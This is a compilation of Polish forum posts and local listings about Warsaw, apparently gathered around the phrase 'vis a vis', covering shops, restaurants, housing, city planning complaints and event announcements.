anansem, no cóz skoro jest popyt to i podaż musi być..)
Nie jest to jeszcze ideał, ale moim zdaniem warto tam zajrzeć

Tenże Włoch robi również makarony.. w czwartki są swieze tyby i owoce morze
(w tym VONGOLE!!!!)
Przetestuję i doniosę :)

Domek Przedszkolaka dla dzieci z Michałowic
Uprzejmie informujemy, że na ul Ryżowej 88a działa już nowy klub
malucha - Domek Przedszkolaka. Przyjmujemy dzieci z Michałowic,
Opaczy, Skoroszy, Ursusa i innych miejsc. Wiek od 1,5 roku do 5
lat. Oferujemy obszerne, kolorowe sale, zadbany ogródek z placem
zabaw, oddzielną sypialnię, wykfalifikowaną kadrę, przystępne ceny.
Organizujemy również uroczystości dla dzieci takie jak urodziny,
imieniny, z okazji dnia dziecka i inne. Zapewniamy pełną obsługę
kateringową.
Więcej informacji na temat zapisów:
Domek Przedszkolaka
Ryżowa 88a (vis a vis Leroy Merlin)
Warszawa
tel. 022 7230659, 609536607
www.domekprzedszkolaka.edu.pl

_____@@@>>>WARSZAWA<<<_____@@@-ZAMIANA NA 3 PO
Zamienię 2 pokojowe mieszkanie na Woli, blisko centrum ( vis a vis Urzędu
Dzielnicy Wola ) 48m2, duża, widna kuchnia, łaznienka z piecem gazowym
(czujnik), w bloku 6-piętrowym na 4 piętrze (winda), kablówka, internet, telefon
Dobry dojazd komunikacją miejską do całej Warszawy, dużo sklepów, podwórko z
możliwością parkowania. Zamienię na 3 pokojowe na Bielanach,Żoliorzu.Dopłacę
różnicę.
>>>>>>>>>>>>>TEL.654-12-05<<<<<<<<<<<<<<<<<

Polecam Agencję MADA, al. KEN
Polecam Agencję Posrednictwa MADA, adres Komisji Edukacji NArodowej nr (chyba)
21, w każdym razie na tyłach salonu Opla, czyli wejscie od ulicy. K. Borsuka:
Agencja Mada

Al. KEN 21 lok. 2 (vis a vis ul. Vilardczyków)
02-722 Warszawa
tel. (0-22) 446 25 45, 446 33 90
mada@area.w-wa.pl

Za ich posrednictwem kupiłem swoje mieszkanie na Osiedlu Kabaty. Wczesniej
miałem doświadczenie (zwykle złe) z wielona agencjami, a ci państwo (to firma
rodzinna) są chlubnym wyjątkiem na rynku warszawskim.
Zdecydowanie polecam!


mazowieckie

Warszawa:
Supermarket Euro Baby (1000m) (vis a vis Real'a)
ul. Grochowska 10
Otwarty od Pn.-Sob. 10°°-20°°
Ndz. 10°°-16°°
tel. (022)-740-27-10
e-mail: eurobaby_warszawa@rampers.pl

Supermarket Euro Baby (1000m)
ul. Puławska 430
Otwarty od Pn.-Sob. 10°°-20°°
Ndz. 10°°-16°°
tel. (022)-644-82-11 lub (0-22)-644-82-12
e-mail: eurobaby_pulawska@rampers.pl

to jest jadąc od strony Warszawy do Piaseczna, po prawej stronie, tuz przed
takim kościołem w Pyrach. Jest spora tablica reklamowa "Wszystko dla dziecka"
czy coś w tym stylu.

Szanowni Państwo,
Myślę, iż nikomu nie będzie żal tych cudów architektury, a może uda się
odtworzyć coś co przypomni dawny styl tego narożnika?!
W tym roku w marcu przestałam mieszkać w Warszawie, lecz sprawami Warszawy i
jej historią interesuję się od zawsze. Moje rodzina też tworzyła tę historię. Z
budynkami które stały w miejscu obecnej Cepelii i Metropolu też historia
rodziny jest związana. Mój dziadek Wiktor Fryderyk Dietrich miał w budynku o nr
Marszałkowska 101 pracownię i sklep zegarmistrzowsko-złotniczy. Pracownia ta
istniała od 1905 roku aż do śmierci mego dziadka w roku 1966, z tym że od 1953
roku już przy ul. Poznańskiej vis a vis pogotowia.
Do roku 1953 na tym narożniku Marszałkowskiej i Alej znajdowała się tzw. willa
Markoniego. Zdjęcia tego budynku istnieją na fotografiach np. w
książce "Warszawa na starej fotografii". Myślę, że identyczny budynek
ewentualnie zbliżony w wyrazie mógłby powstać na tym narożniku. Napewno lepiej
będzie pasował do hotelu "Polonia".
Przejścia dla pieszych owszem jako alternatywa ale nie zamiast przejścia
podziemnego.
Izabella S.

poziom Działu Warszawskiego nie dostrzegającego fatalnej sytuacji z Kaczyńskim
i borowskim oraz Skrzyokiem,Urbańskim i innymi młotami zarządzającymi Warszawą
jest zaiste przerażający/
Niveau de la "publistique" mediale quotidienne presente' par une redaction de
la Division Varsovienne de "Gazeta Wyborcza" est vraiment effrayable.Enclaves
scandaleusement dans l'arrangement politique susspecte' entre PIS=et:=PO ils ne
trouvent d'aucun mot d'une critique e'crasante et bien determine'e vis a' vis
du groupe evidente des "animaux-destructeurs" ou "insectes-destructeurs"-
hostiles, l'on entend parler depuis deux annees bon la!,; au developpement de
constructive de la ville de Capitale de Pologne consistant bien sur
d'architecte Borovski,d'imbecile Skrzypek,Urbanski et du roi ou "emissaire des
enfers" Monsieur Lech Kaczynski en personne...

ursynowskie knajpy - Va Bene, Parma, Vis a Vis, Nikozja, Stajnia, La Scala,
Huśtawka, Sentyment, Antich Cafe, Deska, Szafran, Karpielówka, Zbójnicka (coś
takiego), Bar alternatywny, Dolce far Niente, Oaza Kabacka, Melanż, Vinkiel,
Kabaczek, Sphinx, knajpki w Galerii Ursynów, Pub 22, Chilli, Rezerwaat, Polski
Smak, Rimini, Ryberia, Spiżarnia Madame, Starlight .... I jeszcze parę innych. W
porównaniu z Ochotą albo Żoliborzem, Ursynów wypada naprawdę nieźle. A zwłaszcza
Natolin, gdzie jest wiele nowych osiedli. Wiec po co lansować dawno już nie
mająca wiele wspólnego z prawdą teorię, że Ursynów to jedynie sypialnia? Potem
efekt jest taki, że moi znajomi mówią, że na Ursynowie nie mamy sie gdzie
spotkać - i jacy są zaskoczeni, kiedy mówię coś wbrew odwrotnego. Oczywiście, że
nie ma zatrzęsienia knajp - ale to normalne w dzielnicy przede wszystkim
mieszkaniowej i to w mieście o takim charakterze jak Warszawa.

moze nie pod Warszawa, ale na Nowodworach, vis a vis petli autobusowej
Nowodwory. mozna wymienic, doplacic roznice itd. ale jezeli wstawiasz cos do
komisu, a nie na wymiane to chyba kasa jest jak to zostanie sprzedane (maja
chyba na to 30 dni). kiedys byl spory wybor fajnych wozkow, ale mieli wtedy
jeszcze dodatkowy magazyn, teraz sa jakies zmiany, ale widzialam ze wozki,
foteliki, lozeczka stoja

Początkujące od 17.III. pon., g. 20.00 - 100 Amira
100 (STO = Szkoła Tańca Orientalnego) „Amira” serdecznie zaprasza na zajęcia grupy początkującej.
Zaczynamy 17 marca b.r., tj. w poniedziałek, o godz. 20.00.
Zajęcia w egipskim stylu klasycznym prowadzi Naima.

Koszt miesięcznego karnetu: 120 pln.

Adres: STO „Amira”, Warszawa, ul. Bartoszewicza 5 (od ul. Kopernika), wejście przez bramę vis-a-vis stacji benzynowej; szyld „Solarium”.

Informacje o profilu szkoły i o instruktorce na stronie:
www.amira.com.pl

Telefon kontaktowy: 0888-072-072

Warszawa - ul. Mazowiecka
Mogę polecić tam pewną panią - nie potrzebuje chrzanić się z
wchodzeniem w bliską relację (za które to wchodzenie gdzie indziej
sam(a) płacisz), żeby być w stanie pomóc.

Byłem tam dwa razy, a za drugim razem jak miałem problem, to w
rozmowie z p. psycholog go rozwiązałem ;D, co oczywiście nie znaczy,
że go nie było wcale. Wydane tam pieniądze przyniosą Ci zadowolenie
i satysfakcję. Tak było przynajmniej w moim przypadku.

Polecam zgóglować sobie:
Poradnia Psychologii Sądowej i Rodzinnej Warszawa - ul.Mazowiecka 12
lok.24 vis a vis fundacji "Dzieci Niczyje"

Le Cedr, Warszawa
Solidarności 61 www.lecedre.pl,

Jasna cholera, pora późna, nie doczytałam prośby autorki wątku, jeśli mogę
prosić moderatorkę o wywalenie poprzedniego posta i pozostawienie tego, będę
wdzieczna.

REWELACYJNE żarcie z kuchni libańskiej, na vis a vis misiów z zoo.
Ceny, jak na knajpę tej kategorii przyzwoite. Ponieważ menu mają ogromne,
polecam zestawy - dla dwóch osób po samych przystawkach ma się dość

Parking ma powstać ale nie w takiej formie !!
Słyszałeś kiedyś o podziemnych parkingach ??? Kurna cała Europa słyszała,
Warszawa słyszała, Kraków słyszał a my jak zwykle prowincjonalny zaścianek z
parkingiem na 3 piętra wysokim. A placyk na przeciwko Urzędu Wojewódzkiego ???
Tam nie można parkingu postawić ? Musi być vis a vis Magistratu ?? To niech
będzie ale cywilizowany podziemny, ze sklepami i restauracjami a nie monstrum.


Coś mi się wydaje, że Rubik jest kiczem bo nieudolnie usiłuje naśladować sztukę
wysoką. Czyli, że nieudolnie usiłuje naśladować sztukę.

A powód dla którego ludożerce się to podoba, jest taki, że nie potrafi/nie chce
odróżnić sztuki od nie-sztuki, i sądzi, że właśnie TO jest sztuka tj. nie
widzi/nie chce widzieć nieudolności.

Teraz, powód dla którego ludożerka nie potrafi odróżnić sztuki od nie-sztuki,
jest dwojaki: (1) to elity (czyli my) decydują o tym, co sztuką jest, i (2)
odpowiednio wykorzystują posiadane zasoby, by możliwe było odróżnianie się od
ludożerki za pomocą znawstwa sztuki. Przykład z edukacją muzyczną jest tu bardzo
dobry. Inny przykład to zawłaszczenie muzyki folkowej/ludowej/naiwnej, która
początkowo była rzeczywiście "ludowa" a teraz jest znakiem przynależności do
elity (Weźmy "Kapelę ze Wsi Warszawa").

Po drugie, ludożerka wcale nie chce odróżnić sztuki od nie-sztuki, ponieważ
wytwarza (świadomie lub nie) sobie identyfikację vis-a-vis elit. Promowanie
Rubika jest, nota bene, świetnym przykładem kontrolowania ludu przez elitę,
ponieważ wytwarza poczucie przynależności i w ten sposób minimalizuje szanse
przepływu z ludu do elit. Oczywiście, w ramach kiczu istnieją dalsze podziały,
na kicz-elitę i kicz-nie-elitę.

Ot, takie socjologiczne 2gr.

Doktror Dubrawski - Warszawa
Ginekolog / endokrynolog.
Powiem tak - przez długi czas sprawiał wrażenie lekarza idealnego, aż okazało
się, że wymyśla np. w 3 miesiącu ciąży założenie PESARIO. Po naszym
sprzeciwie zażądał oświadczenia, że wyniki leczenia bierzemy całkowicie na
siebie!
Po zasięgnięciu opinii u 3 innych lekarzy ginekologów/położników wiem już, że
to BZDURA. Tylko, że rośnie częstotliwość wizyt, a każda 140PLN, szyjka
macicy dostaje obrzęków i ogólnie mało komfortowo, nie licząc gromadzących
się bakterii, niezbędnych kolejnych odpłatnych badań (na miejscu). Tylko po
co? Żadnego medycznego uzasadnienia nie ma i z perspektywy czasu - nie było.
Odradzam. Może i fachowiec (ale wątpię) ale przede wszystkim wyzyskiwacz.
Do wiadomości - lokalizacja vis-a-vis Auchan Wola.

Nie wiem czy jesteś z Warszawy, więc podaję Ci kilka sklepów w Warszawie i
kilka stron sklepów, które są także w innych miastach.

"DUDEK", Warszawa, ul. Dzielna 21, lok.6, tel. 022 636 36 29
"CALINECZKA", Warszawa, ul. Grochowska 178 i 180, tel. 022 610 03 99,
www.calineczka.pl
"M jak Mama", Warszawa 01-211, ul. Kasprzaka 24, tel. 022 631 48 46,
www.mjakmama.pl
"M jak Mama", Warszawa, ul. Targowa 33 lok.23, tel. 022 619 39 74,
www.mjakmama.pl
"M jak Mama", Warszawa, ul. Myśliborska 104 A, osiedle TARCHOMIN,
www.mjakmama.pl
"AGNES" ODZIEŻ CIĄŻOWA, Warszawa, ul. Nowomiejska 7 (przy metrze Politechnika),
tel. 022 825 17 94
"AGNES" ODZIEŻ CIĄŻOWA, Warszawa, al.Jana Pawła II 43a, pawilon nr 24, tel. 022
838 12 65
"9 MIESIĘCY" Odzież Ciążowa, Warszawa, ul. Grochowska 230 (przy Rondzie
Wiatraczna), Praga Południe, tel. 022 813 93 25, www.9miesiecy.pl
"9 MIESIĘCY" Odzież Ciążowa , Warszawa, al.K.E.N 11 lokal G (przy stacji Metro
Kabaty), Ursynów, tel. 022 446 76 51, www.9miesiecy.pl
"9 MIESIĘCY" Odzież Ciążowa , Warszawa, ul. Pasaż Ursynowski 1 (przy stacji
Metro Stokłosy), Ursynów, tel. 022 648 96 71, www.9miesiecy.pl
"9 MIESIĘCY" Odzież Ciążowa , Warszawa ul. Wrocławska 7E (vis a vis ZUSu), tel.
022 638 81 34, www.9miesiecy.pl

Oto kilka stron z adresami:
www.9miesiecy.pl/
www.miloha.pl/
www.supermama.pl/
www.ciazowe.pl/

siedziba KC PZPR wpisana do rejestru zabytków
miasta.gazeta.pl/warszawa/1,95190,7258866,Dom_Partii_wpisany_do_rejestru_zabytkow.html

++++++++++++++++++++++++++
pomijając kontekst historyczno polityczny, to przecież ten gmach wyjątkowo
paskudny z wyglądu jest. Syf totalny, i nawet palma (sic!) postawiona vis a
vis nie pomoże nic.
I to zabytek ma być właśnie???

Wybiegł i strzelił z głuszaka …
Tak, to było chyba na ms ‘warszawa” ...
Rok 1976 …stali mi w zachodnim porcie południowej Afryki …nie
pamiętam jaki port ..musiałbym dziennik pokładowy otworzyć…nie chce
mi się…
Czarek wziął na pokład czekoladkę , taką sexi dziewczynę…
Wyszli , poszli do pobliskiego pubu … tam ona opier’doliła go z
portfela..
Wybiegł i strzelił z głuszaka … vis a vis był komisariat policji ,
wybiegli …
I walnęli serią … czarek death… pomyśleli , że to atak na komisariat

Jak wiem ambasada nie interweniowała …
(z cyklu :marynarskie głuszaki i ich konsekwencje)

Gość portalu: Jesli Bielny to napisał(a):

> www.nowebielany.com - prawie gotowe mieszkanka przy samiutkiej
> stacji metra i w okolicy pelna infrastruktura plus znakomite
warunki rekracji.

BUHAHAHAHAHA.
Przy samiutkiej stacji metra to fakt. Ale jeszcze vis a vis pętli
tramwajowej, parkingu P&R, oraz w berdzo nieodległej perspektywie z
przebiegającą o kilkadziesiąt metrów od okien Trasą Mostu Północngo.
Aha, jest jeszcze Huta Warszawa - to w ramach wspomnianej rekreacji.
Skąd pochodzisz młocie, że uważasz to za dobrą lokalizację?
Tam nikt znający Bielany zajrzeć nie chce poza ewentualną przesiadką
w metro.
Pozdrowienia od Bielańczyka w 3 pokoleniu.

8.10:wieczor należy do Macieja Cisło
Festiwal "Literatura na peryferiach"

wieczór 46.

czwartek, 8 października, godz. 19, klubokawiarnia Legalna, ul.
Terespolska 4 (vis-a-vis wydawnictwa Didasko), WARSZAWA-Grochów,
wstęp wolny

DON KICHOT Z WIATRACZNEJ

Spotkanie z MACIEJEM CISŁO, poetą, redaktorem antologii poetyckich,
autorem prozy dla dorosłych i dla dzieci, poświęcone jego nowej i
starej twórczości oraz m.in. zaskakującym związkom literackim w
nazwach ulic współczesnej Warszawy (www.maciejcislo.pl).

W programie prezentacja najnowszych utworów gościa.

Spotkaniu towarzyszył będzie kiermasz bukinistyczny oraz
akcja "Książka za książkę" - przynosisz egzemplarz i wymieniasz go
bezpłatnie na inny tytuł z biblioteczki Legalnej.

Scenariusz i prowadzeni CEZARY POLAK

Organizatorzy: Kolektyw "Leciem na Grochów" & Legalna

www.literaturanaperyferiach.blox.pl

17.12: Maciej Sieńczyk na peryferiach
Zapraszamy : )

Festiwal "Literatura na peryferiach"
wieczór 49.

17 grudnia, czwartek, godz. 19, klubokawiarnia Legalna, ul.
Terespolska 4 (vis-a-vis szkoły Didasko), Warszawa-Grochów, wstęp
wolny

CHRUP, CHRUP, MŁODE ZĘBY WBIŁY SIĘ W MIĄŻSZ PORA

Spotkanie z MACIEJEM SIEŃCZYKIEM, rysownikiem i scenarzystą, autorem
komiksów "Hydriola" i "Wrzątkun" oraz ilustracji m.in. do książek
Doroty
Masłowskiej i Michała Witkowskiego.

Scenariusz i prowadzenie CEZARY POLAK

Organizatorzy: Kolektyw "Leciem na Grochów" & Legalna

www.literaturanaperyferiach.blox.pl

Zasada jest taka: egzaminator wybiera miejsce parkowania i musi być ono szerokie
na 2 szerokości samochodu. W takim miejscu parkujesz na egzaminie. Moze być tak,
że miasto będzie bardzo załadowane i nie będzie miejsca na parkowanie równoległe
(wjazd tyłem, wyjazd przodem), więc poleci Ci parkowanie prostopadłe przodem.
Na marginesie: Polecam Auto Szkołę Żerań na Odlewniczej vis a vis WORD Warszawa
na Odlewniczej. Chodziłem do nich na jazdy doszkalające - jeździłem tam aż z
Piaseczna i zdałem za drugim razem. Pierwszym razem obłali mnie na placu, za
drugim zdałem egzamin.

Podpisuję sie pod tym czym tylko mogę. Ten pseudostadion już dawno
powinien zostać zaorany. Fakt, że tyle czasu stoi, straszy,
kompromituje wizerunek miasta i blokuje jeden z najcenniejszych
terenów w ścisłym centrum, to DRAMATYCZNA PORAŻKA naszych miłościwie
nam panujących. Wstyd. W kosmos to nieporozumienie natychmiast. W
CAŁOŚCI!

Tak przy okazji, czy nie uważacie, że temu CZEMUŚ, co ma miejsce
dokładnie na przeciwko Galerii S również powinien się ktoś przyjżeć?
Teren równie miejsko - centralny, a tu w najlepsze mamy radośnie
kwitnący bazarowo - budkowy przaśny spęd rodem z początku lat 90! Z
całym szacunkiem dla Handlarzy - to nie oni są winni, oni ciężko
pracują. To własnie IM miasto (względnie jakiś inwestor) powinien
zapewnić porządne warunki pracy (vide: Warszawa, przeniesienie
handlowiska spod Pałacu Kultury i Dworca Śródmieście do nowoczesnej
hali targowej kilka metrów dalej - KDT)! Podobnie - drugi bazarek
vis a vis więzienia. Czy miasto planuje cokolwiek w tym temacie??

3 sklepy na terenie Warszawy:

Świat Dziecka JUPITER CENTRUM
ul. Towarowa 22
tel./fax (0-22) 654 36 28
tel. (0-22) 654 34 33
godziny otwarcia: Poniedziałek - Sobota: 10:00 - 20:00
Niedziela: 11:00 - 17:00

Świat Dziecka w Tesco
ul. Górczewska 212/226
tel./fax (0-22) 666 12 14
tel. (0-22) 666 29 66
godziny otwarcia:
Poniedziałek - Sobota: 10:00 - 20:00
Niedziela: 10:00 - 18:00

PARK HANDLOWY TAGÓWEK
ul. Malborska 45
WARSZAWA vis a vis IKEA
tel./fax (0-22) 771 33 50
tel. (0-22) 825 29 44
godziny otwarcia:
Poniedziałek - Sobota: 10:00 - 21:00
Niedziela: 10:00 - 18:00

sloggi napisał(a):

> Chłopaku, Górce dzielą się na Przemysłowe za HITem, i Mieszkaniowe czyli vis-a-
> vis os.Przyjaźń.
> Nie istnieje pojećie Górce Nowe i Górce Stare.

Skad ta pewnosc? Ja mam przed soba plan warszawy "Atlas Warszawa i okolice"
wydanie 2001, i jak byk jest na mapie Górce Stare (powiedzmy okolice Hitu) i Nowe
Górce (druga strona os. Przyjazn).

Na mszę dla dzieci u Dominikanów na Freta (Warszawa) chodzi(ła) z przyjemnością,
a na innych mszach w tym kościele i innych dominkańskich jest przyjmowana ze
zrozumieniem. Zaznaczę, że w Warszawie mieszkałam vis-a-vis kościoła
parafialnego, do którego nie chodziłam, poświęcając w niedzielę 40 minut na
dojazd na Starówkę, bo tam był przewijak, toaleta, i ogólna akceptacja.

Teraz nie mam w okolicy tak przyjaznego kościoła (cieszę się, że w ogóle mam
jakikolwiek), ale Młoda po "treningu" dominikańskim i z racji wieku (prawie 5
lat) uczestniczy we mszy aktywnie, acz cicho.
Pasterkę przespała, budząc się jednakowoż na wyjście, cobym jej nie musiała
nieść do domu.

Perły w diamentowej koronie Leszka
Szklana Pułapka. Sky Tower. Wieża Babel. Wieża pychy.

Arkady Wrocławskie. Dostarczają bieżący zysk.

Osiedle Przy Promenadzie (Warszawa). Prace w toku.

Szmaragdowe Wzgórze (Gdańsk). Przyczajone z dużą ilością gleby.

Rezydencja Kaliska (Warszawa). Ad calendas graecas. Możliwe jednak że koniec 2009 r.

Zielony Złocień (Kraków). Wizje sięgają 2011 r.

Vratislavia Residence (Wrocław). Projekt w fazie obróbki. Domki jednorodzinne.

Osiedle Bajkowy Park (Gdańsk).

Osiedle Dębowa Ostoja (Łódź). Reklamy krzyczą vis a vid Manufaktury.
Wizualizacja piękna. Cena tym bardziej. Wszystko w oprawie wirtualnej. Jak to u
Leszka zwykle bywa.

Obsługa rachunku bankowego Gminy Miasta Łodzi. GETIN Bank SA.
58166000132026000026970001. W dyspozycji Prezydenta Miasta.

Paulina (do bicia ),l.30
Lokalizacja pauliny : warszawa - samiuskie, samiusieńkie centrum vis a vis ASP
(na konia patrze z okna i Florencje mi przypomina - chociaż wyraźnie widać ze to
ogierek )
Pierwsza książka Chmielewskiej : Skarby (do dzis- chyba najbardziej ulubiona )
która czytałam bedac w wieku Janeczki i Pawełka (ok 10 lat) i w czasie gdy mój
osobisty tata był na kontrakcie w Libi (czyli prawie ze w Algierii )- pracujac
jako inzynier budownictwa (czyli prawie jak tata Chabrowicz )
Ciekawostki : "uprawiam" ten sam zawód jaki Pani Joanna Chmielewska przed
zostaniem pisarką oraz "posiadam" na podoredziu pewnego wstretnego z
charakteru mężczyzne który na mur beton jest kolejnym wcieleniem Diabła (jak
czytam książki w których Gurua opisuje Diabła to mróz przechodzi mi po plecach
bo noramlnie jakby mojego opisywała .... )

Wielka płyta vis a vis Megasamu ,parter z małym ogródkiem,Warszawa-
Ursynów-facet chciał 5500zł za metr.Minus to parter,10 piętrowy blok
i spory ruch(pieszych)przed balkonem(ogródkiem).
Czyli da się:)Czekam jeszcze rok i za 5000zł max będzie płyta na
całym Ursynowie.

Ja nie miałam wyboru, od urodzenia mieszkałam na Starym Mokotowie, a właściwie
w Centrum graniczącym ze Starym M. W pobliżu Pól Mokotowskich.
Mieszkałam tam 30 lat. Do szkoły podstawowej chodziłam vis a vis, do liceum
obok podstawówki, zajęcia na studiach miałam na Starym Mokotowie, Ursynowie i
poza Warszawą (SGGW), a pracuję przy Czerniakowskiej. Nigdy nie skarżyłam się
na problem z komunikacją. Oczywiście trochę otoczenie mi się znudziło, ale od
roku mieszkam na Jelonkach i dopiero teraz naprawdę doceniłam urok Starego
Mokotowa. Zupełnie inaczej patrzę na to miejsce. Może dlatego, że moja uliczka
była ładnie położona na co zwracało uwagę wiele osób, które u mnie bywały.
Teraz dopiero mam kawałek drogi do pracy. Teraz muszę się przesiadać kilka
razy, żeby gdzieś dotrzeć...
Mieliśmy z mężem remont na Jelonkach i przez mies. mieszkaliśmy u moich
rodziców. On, który mieszka na Jelonkach od 25 lat, wcześniej z 10 lat na
Bródnie, a na mieszkanie na Ursynowie czy Kabatach by się nie zamienił mimo
metra, był zachwycony mieszkaniem w moich rodzinnych stronach. Też był zdania,
że wszędzie blisko, okolica ładna.
A na Tarchomin czy Białołękę nie przeprowadziłoby się żadne z nas. Na szczęście
nie musimy. Że zielono, ciekawsze widoki... Ja jestem urodzonym mieszczuchem.
Wcześniej miałam ogródki pod domem, Pole Mokotowskie, mogłam jeździć do
Powsina, nie mówiąc o wyjazdach wakacyjnych, teraz mam drzewa za oknami.
A żuleria... nie będę wybierać między mokotowskim pijaczkiem a łysymi spod
bloku.

warszawa
wycieczka na cały dzień:
Łazienki królewskie (ładny park, pałac na wodzie - można popływać łódką,
pokarmić kaczki i karpie). Vis a vis głównej bramy jest Urząd Rady Ministrów.
Dalej warto iść alejami Ujazdowskimi w kierunku północnym. Miniecie Park
Ujazdowski i dojdziecie do Placu Trzech Krzyży - tam można coś zjeść (np na
północno-zachodnim rogu w Szpilce). Idąc dalej prosto dojdziecie do Nowego
Światu. Nowy Świat przejdzie w Krakowskie Przedmieście, przy którym miniecie
Pałac Staszica, pomnik Kopernika, Kościół św. Krzyża, Uniwersytet Warszawski,
Kościół Wizytek (tam mieszkał ks. Twardowski), Pałac Prezydencki, pomnik
Mickiewicza. Możecie odbić w prawo na wysokości Pałacu Prezydenckiego i
dojdziecie do placu Piłsudskiego, gdzie jest Pomnik Nieznanego Żołnierza i krzyż
upamiętniający słynną pielgrzymkę JPII do Polski. Za biurowcem jest Teatr
Wielki. Wróćcie jednak na Krakowskie przedmieście, bo po minięcie pomnika
Mickiewicza dojdziecie do Zamku Królewskiego i starego miasta.

Drugiego dnia można wjechać na taras widokowy Pałacu Kultury i iść do muzeum
Powstania warszawskiego. Można też pojechać autobusem do Wilanowa.

Ale wy jesteście durnie, split i reszta tego
waszego fan-clubu Polaka-naziola.

..."Rok później Gmina Warszawa-Centrum przekazała na rzecz muzeum 13
tys. metrów kwadratowych gruntu vis a vis pomnika Bohaterów Getta.
Wartość działki to ok. 10 mln. dolarów"....
www.polish-jewish-heritage.org/Pol/Muzeum_Historii_ZydowRP.htm

To ile w końcu ta działka ma kosztować "80 milionów dolarów" czy
może 80 milionów tugrików mongolskich?

Co do reszty - nie odpowiadam, to stek bredni wyssany spod twojego
grubego palucha. Poszukaj sobie na stronach Ministerstwa Skarbu RP.

chwila moment
wer.ka napisał:

> Walduś z usa.

► Werkuś z warszawy.

Nie bądz palantem

► nie badz palantem

i daj odpowiedz na moje pytania,

► gdzie sa te pytania?

ty
> jako stary warszawiak znasz Warszawe na wylot.

► na wylot to nie, po 20+ latach w Bostonie, a nie w Warszawie pamiec juz nie
taka, ale zawsze...

Kazdy wpis kończysz :z
> szaconkiem,bo się skończy żle"To są słowa piosenki"Bal na
> Gnojnej"czy wiesz gdzie w Warszawie była kiedyś ul.Gnojna?

► Celna uwaga, wiem, pomiedzy rynkiem Starego Miasta i Bugaj.

Przypomnij mi zatem nazwe restauracji w budynku (mieszkaniowym dla oficerow WP)
vis a vis ambasady amerykanskiej...

> Pozdrawiam.wer.ka Warszawa.

► Pozdrawiam waldek.usa Boston

Kordeckiego w 1945 roku - pytanie.
Przeglądam sobie właśnie ortofotomapę Warszawy z 1945 roku
mapa1945.um.warszawa.pl/init.html i nasunęło mi się pewne pytanie -
cóż to za dwa koliste kształty przy ulicy Kordeckiego vis a vis "skwerku", w
miejscu, gdzie później powstały nowe bloki? Czy wie ktoś może coś na ten
temat?

Mam na myśli ten fragment:

img168.imageshack.us/img168/3122/kordeckiegohc6.png

Lumpenwakzał Warszawa Wschodnia
Codziennie prawie korzystam z Dworca Wschodniego. Autor artykułu
mocno przesadził. Dworzec jest taki jak ogólnopolski standard
dworców PKP, ale ostatnio zmienia się na lepsze - np. umyto szyby,
usunięto handlarzy z głównego przejścia na perony, zlikwidowano
ławki na których spały notorycznie śmierdzące lumpy (teraz
przenieśli się na przystanki tramwajowe na Kijowskiej vis a vis
dworca). Co nie znaczy że na dworcu jest miło - ot taki wschodni
rozgardiasz i bród. Remontowanie go bez skutecznego monitoringu i
nowego modelu zarządzania ma mały sens. Popatrzcie jak wyglądają
niedawno wyremontowane dworce - np. Powiśle albo Rembertów - syf i
dewastacja.
TK

Gość portalu: maruda napisał(a):

> Będzie takim samym wrzodem jak budynek Intraco
> zakłócający piękny widok Starego Miasta od strony Pragi.

Wrzody lubią się mnożyć. Vis a vis, za hotelem Ibis, powstaje kolejny wieżowiec.
Tak więc panoramę psuć będą podwójnie.

>ten urząd z natury jest najohydniejszym urzędem i tu niestety
>nic nie da się zrobić.

Urząd ohydny, jak to skarbówka. Ale budynek zacny, tylko to kolorowe opakowanie
tandetne. Mam nadzieję, że ktoś kiedyś przywróci mu pierwotny wygląd.

Pzdr
M44

Forum NOWA PRAGA
Warszawa subiektywnie

W jednym z miasteczek pod Warszawą jest ulica Łosiowe Błota - nazwa adekwatna
jej stanu - brak asfaltu :)

Inna kwestia, sama nazwa może nie taka śmieszna ;) ale co na niej jest już
ciekawie pasuje - w Łodzi na ulicy Smutnej są:
- cmentarze
- Wojewódzki Ośrodek Ruchu Drogowego
- a vis a vis WORDu więzienie (Pęczak tam siedział ;))

I chyba wszędzie tak jest, że ulice są pogrupowane. W Łodzi na osiedlu Smulsko
są praktycznie same ulice sportowe: Łyżwiarska, Hippiczna, Gimnastyczna,
Żużlowa, Bojerowa, Bokserska, Bobslejowa itd.
Zresztą na Mokotowie (Wwa) też jest Gimnastyczna i kilka innych sportowych (na
odchodzą na pn od Racławickiej)

Ps. Zazdroszczę kuzynostwu spod Poznania, że mieszkają na ulicy Poziomkowej ;)


Swiat Dziecka - na Tomarowej (centrum Jupiter) i na Targówku, tu masz adresy:

EuroBaby :
ul. Puławska 430 supermarket Euro Baby (1000m)
02-884 Warszawa
Otwarty od Pn.-Sob. 10°°-20°° Ndz. 10°°-16°°

ul. Grochowska 10 (vis a vis Reala) supermarket Euro Baby (1000m)
Otwarty od Pn.-Sob. 10°°-20°° Ndz. 10°°-16°°

i dwa na al. Solidarności - duży wybór ale bardzo mało miejsca, ciasno:
Al. Solidarności 95/99
Al. Solidarności 78
one są po dwóch stronach ulicy.

Calineczka
ul. Grochowska 178 (róg Garwolińskiej)

Kto grał planem Pola Mokotowskiego
Problem braku planów zagospodarowania to nie tylko Pole Mokotowskie.
Bez żadnych planów, jedynie na podstawie warunków zabudowy, powstało
przez ostatnie lata wiele osiedli mieszkaniowych. Oczywisacie
pobudowano domy tak gęsto, że można zobaczyć, co sąsiad vis-a-vis je
na obiad. Pobudowano bloki dwa razy większe, niż przewiduje aktualne
Studium uwarunkowan i kierunków zagospodarowania przestrzennego.
Plan zagodpodarowania ustanawia minimalny współczynnik powierzchni
biologicznie czynnej, oraz maksymalną wysokosc zabudowy. Uchwalanie
planów jest więc nie na rękę developerom, bo nie mogli by budowac
tak wysoko i tak gęsto.
Bez planów zagospodarowania wszystkie nowe osiedla staną się gettami.

Warszawa została już wystarczająco zeszpecona nową i chaotyczną
zabudową. Dosyć! Zepsuto misto na wiele lat.

Trzeba to jasno powiedzieć urzędnikom, politykom i developerom -
PRZESTAŃCIE PSUĆ WARSZAWĘ!!!

Kielce a Warszawa - cena w Warszawie schodzi w wielu miejscach
ponizej 4,35, np. stacje przy Pulawskiej miedzy Ursynowem a
Piasecznem (Jet 4,26, Neste ok. 4,22 bylo jakos tak, Orlen vis a vis
Jet 4,32 chyba, a potem stacja Auchan, w centrum Ursynow Statoil ma
bardzo tanie paliwo, wiec i obok BP. Stacje Bliska Mokotow czy
Saska, Neste przy Jagiellonskiej). Jak widac mozna.

ATUT-sklep warszawa
Witam,
chciałam was ostrzec przed tym sklepem.
Poszłam do niego wiedziona famą i chęcią spróbowania, ale bardzo nie polecam.
Wcisnęła mi stanik 70 F (normalnie mam 75 D), który poobcierał mi skórę na
